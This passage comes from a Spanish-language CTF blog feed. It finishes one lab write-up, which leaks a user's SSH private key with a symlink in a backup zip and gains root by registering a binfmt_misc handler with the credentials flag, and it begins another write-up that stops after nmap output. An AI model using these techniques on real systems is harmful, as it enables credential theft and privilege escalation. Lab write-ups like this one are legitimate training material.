&lt;li&gt;Como el script corre como &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;, tiene permisos de lectura sobre &lt;code&gt;/home/dev&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El &lt;code&gt;.zip&lt;/code&gt; generado en &lt;code&gt;/var/www/&lt;/code&gt; puede incluir ficheros de &lt;code&gt;dev&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Creamos el symlink. No me ha funcionado apuntando a todo &lt;code&gt;/home/dev&lt;/code&gt;, así que apuntamos directamente a la clave SSH.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ln -s /home/dev/.ssh/id_rsa ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Archive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inflating&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; var/www/html/ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto conseguimos &lt;code&gt;user flag&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8049-9095-d5d1ee0ba4bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-binfmt_misc--capabilities"&gt;Escalada a root: binfmt_misc + capabilities&lt;/h3&gt;
&lt;p&gt;En el directorio de &lt;code&gt;dev&lt;/code&gt; encontramos un proyecto en C.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-85ef-cfbb8cef92cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;emuemu.c&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat emuemu.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/* currently this is only a dummy implementation doing nothing */
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; puts(&lt;span style="color:#e6db74"&gt;&amp;#34;EMUEMU is still under development.&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y otro archivo que permite escribir en &lt;code&gt;binfmt_misc/register&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat reg_helper.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define _GNU_SOURCE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; char cmd[&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;] = { &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;] = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; int fd = open(&lt;span style="color:#e6db74"&gt;&amp;#34;/proc/sys/fs/binfmt_misc/register&amp;#34;&lt;/span&gt;, O_WRONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt; == fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;open&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;write&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (close(fd) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;close&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontramos la idea en “HackTricks”:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;You can find an exploit &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//github.com/toffan/binfmt_misc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Poor man&lt;span style="color:#e6db74"&gt;&amp;#39;s rootkit, leverage binfmt_misc&amp;#39;&lt;/span&gt;s credentials option to escalate privilege through any suid binary (and to get a root shell) &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; /proc/sys/fs/binfmt_misc/register is writeable.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Del &lt;code&gt;Makefile&lt;/code&gt; se ve que &lt;code&gt;reg_helper&lt;/code&gt; se instala en &lt;code&gt;/usr/lib/emuemu&lt;/code&gt; y recibe &lt;code&gt;cap_dac_override&lt;/code&gt;, permitiendo escribir en el register.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat Makefile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CC &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= gcc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CFLAGS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SOURCES &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(wildcard *.c)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TARGETS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(SOURCES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;.c=)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.PHONY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; install clean
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;install&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; $(TARGETS)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Installing program files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; emuemu /usr/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mkdir --parent --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; /usr/lib/emuemu /usr/lib/binfmt.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0750&lt;/span&gt; --group dev reg_helper /usr/lib/emuemu/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Register OSTRICH ROMs for execution with EMUEMU&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#39;:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:&amp;#39;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | tee /usr/lib/binfmt.d/emuemu.conf \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; -- $(TARGETS)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Confirmamos que existe, es ejecutable por el grupo &lt;code&gt;dev&lt;/code&gt; y tiene &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8042-a4ce-c3fd52017d5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Según la documentación del kernel: &lt;a href="https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html"&gt;Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Para registrar un tipo nuevo hay que escribir una cadena con este formato:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:name:type:offset:magic:mask:interpreter:flags&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El flag que nos interesa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;C&lt;/code&gt; - credentials&lt;/p&gt;
&lt;p&gt;Cuando se incluye, las credenciales se calculan según el binario. Implica &lt;code&gt;O&lt;/code&gt;, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La idea es registrar una entrada con &lt;code&gt;C&lt;/code&gt; para que se ejecute como root.&lt;/p&gt;
&lt;p&gt;Creamos un binario que asigna permisos laxos a &lt;code&gt;/bin/bash&lt;/code&gt; para explotar el comportamiento, y lo usamos como intérprete.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80d5-a616-c967e82e35a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo compilamos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gcc -o root root.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Buscamos un binario SUID root para disparar la ejecución.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ find / -user root -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; -executable &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/newgrp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chfn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/fusermount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/gpasswd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/su
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chsh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/mount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/umount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/lib/openssh/ssh-keysign
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos usar cualquiera de estos ejecutables.&lt;/p&gt;
&lt;p&gt;Con la flag &lt;code&gt;E&lt;/code&gt; podemos registrar por extensión.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;type&lt;/code&gt; es el tipo de reconocimiento. &lt;code&gt;M&lt;/code&gt; para magic y &lt;code&gt;E&lt;/code&gt; para extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80ac-b398-eaff6e900d64.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Previous (Medium)</title><link>https://synacklabs.github.io/posts/previous/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/previous/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
